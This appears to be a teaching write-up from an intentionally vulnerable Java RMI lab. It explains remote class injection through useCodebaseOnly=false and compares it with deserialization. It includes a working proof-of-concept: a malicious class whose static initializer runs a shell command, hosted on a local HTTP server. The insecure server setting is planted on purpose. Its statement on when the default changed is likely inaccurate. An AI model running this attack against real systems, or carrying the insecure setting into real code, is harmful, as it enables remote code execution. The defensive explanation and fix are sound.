Vulnerability 2: Remote Class Injection (CWE-470)
OWASP A08:2021 — Software and Data Integrity Failures
Severity: Critical — Remote Code Execution
What Is the Vulnerability?
Java RMI has a legacy feature: when the server receives an RMI call with an object whose class it doesn't have locally, it can download the class from a URL provided by the client. This is controlled by the java.rmi.server.useCodebaseOnly property.
When set to false (the vulnerable default in older Java versions), an attacker can:
- Host a malicious
.classfile on an HTTP server they control - Send an RMI call that references this class
- The server downloads and instantiates the malicious class
- The class's static initializer or constructor executes — achieving RCE
How It's Different from Vulnerability 1
| Vulnerability 1 (Deserialization) | Vulnerability 2 (Remote Codebase) | |
|---|---|---|
| Mechanism | Gadget chains in existing classes | Attacker uploads entirely new class |
| Prerequisites | Gadget chain library on classpath | Attacker has an HTTP server |
| Defense | ObjectInputFilter whitelist | useCodebaseOnly=true |
| Attack vector | RMI deserialization | RMI class loading |
They're independent — fixing one doesn't fix the other.
Vulnerable Code
File: vulnerable/src/server/ReplicaNode.java (main method)
// VULNERABILITY 2: useCodebaseOnly=false means the RMI runtime will
// download and instantiate classes from URLs specified by the client.
// This enables Remote Class Injection — the attacker hosts a malicious
// class on their web server and the JVM downloads and executes it.
public static void main(String[] args) {
// Explicitly enable remote class loading
System.setProperty("java.rmi.server.useCodebaseOnly", "false");
// ... rest of server startup
}
Attack Scenario
Attack Demo
# 1. Compile a malicious class
cat > EvilClass.java << 'EOF'
public class EvilClass implements java.io.Serializable {
static {
try {
Runtime.getRuntime().exec("touch /tmp/remote_injection_proof");
} catch (Exception e) {}
}
}
EOF
javac EvilClass.java
# 2. Host it on an HTTP server
python3 -m http.server 8888 &
# 3. With the vulnerable server running (useCodebaseOnly=false),
# send an RMI call that references EvilClass:
java -cp vulnerable/out attacker.Attacker2_RemoteCodebase
# 4. Verify
ls -la /tmp/remote_injection_proof # Created by the server's JVM!
The Fix
File: secured/src/server/ReplicaNode.java (main method)
// FIX 2: Set useCodebaseOnly=true to disable remote class loading.
// The server will only use classes that are on its local classpath.
// Attacker-controlled codebase URLs are ignored entirely.
public static void main(String[] args) {
System.setProperty("java.rmi.server.useCodebaseOnly", "true");
// ... rest of server startup
}
What useCodebaseOnly=true Does
When RMI receives an object whose class isn't locally available, instead of fetching it from a remote URL:
- The deserialization fails
- A
ClassNotFoundExceptionis thrown - The connection is terminated
The attacker's codebase URL is never even looked at.
Modern Java Defaults
Since Java 8u121 (January 2017), java.rmi.server.useCodebaseOnly defaults to true. This vulnerability primarily affects:
- Legacy Java RMI applications deployed on Java 8u101 or earlier
- Applications that explicitly set this property to
false(as our vulnerable version does) - Developers who copy-paste old RMI configurations without understanding them
Combined Impact with Vulnerability 1
If both Vulnerability 1 (no deserialization filter) AND Vulnerability 2 (remote class loading) are present:
- The attacker doesn't need gadget chains (no need for vulnerable libraries on the classpath)
- The attacker can upload EXACTLY the code they want to execute
- The attack is 100% reliable — no dependency on specific library versions
This is why fixing both independently is critical. Each is a separate entry point for RCE.